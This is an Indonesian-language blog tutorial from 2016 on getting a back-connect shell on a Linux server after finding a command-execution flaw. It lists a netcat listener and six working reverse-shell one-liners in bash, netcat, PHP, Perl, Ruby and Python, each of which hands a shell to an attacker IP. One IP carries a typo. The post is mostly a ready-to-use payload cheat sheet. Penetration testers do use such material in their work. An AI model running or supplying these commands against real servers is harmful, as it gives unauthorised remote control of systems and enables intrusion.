Perintah Back Connect / Reverse Shell di Server Linux

Friday, June 10, 2016

Kali ini saya akan membahas beberapa cara untuk mendapatkan shell interaktif ketika kita berhasil menemukan celah Command Execution Vulnerability saat melakukan penetration testing. Pilihan kita untuk melakukan reverse shell terbatas pada bahasa pemrograman apa yang terinstall di server target. Nah kali ini saya akan membahas beberapa opsi / command untuk melakukan reverse shell dari php, python, ruby, dll.
Sebelum melakukan reverse shell, pastikan di komputer kita ( attacker ) sudah melakukan listening menggunakan netcat.
sudo nc -l 1337
1337 adalah port yang akan kita buka. Silahkan diubah sesuai selera kalian.

1. Reverse Shell dari Bash
Bash dapat digunakan untuk melakukan reverse shell.
Dari komputer / server target kita masukkan command berikut :
bash -i >& /dev/tcp/192.168.48.133/1337 0>&1
192.168.48.133 adalah ip attacker.
1337 adalah port yang kita buka sebelumnya di command listening menggunakan netcat.

2. Reverse Shell Menggunakan Netcat
Netcat juga bisa digunakan untuk melakukan reverse shell .
Dari komputer target kita masukkan perintah berikut :
/bin/nc.traditional -e /bin/sh 92.168.48.133 1337

3. Reverse Shell Menggunakan PHP
Command :
php -r '$sock=fsockopen("192.168.48.133",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
Jika gagal, ubah angka file descriptor dari 3 ke 4, 5, atau 6.

4. Reverse Shell Menggunakan Perl
Perl juga bisa digunakan untuk melakukan reverse shell.
Perintah :
perl -e 'use Socket;$i="192.168.48.133";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

5. Reverse Shell menggunakan Ruby
Ruby juga memungkinkan kita untuk melakukan reverse shell.
Perintah :
ruby -rsocket -e'f=TCPSocket.open("192.168.48.133",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

6. Reverse Shell Menggunakan Python
Yang terakhir adalah Python.
Command :
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.133",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Kesimpulan
Kita bisa melakukan backconnect dengan apa saja asalhakn mendukung socket.

Nah sekian tutorial kali ini, semoga bermanfaat. Jangan lupa share biar makin banyak yang tau.

Artikel Terkait Linux Basic ,Server ,Shell

No comments:

Post a Comment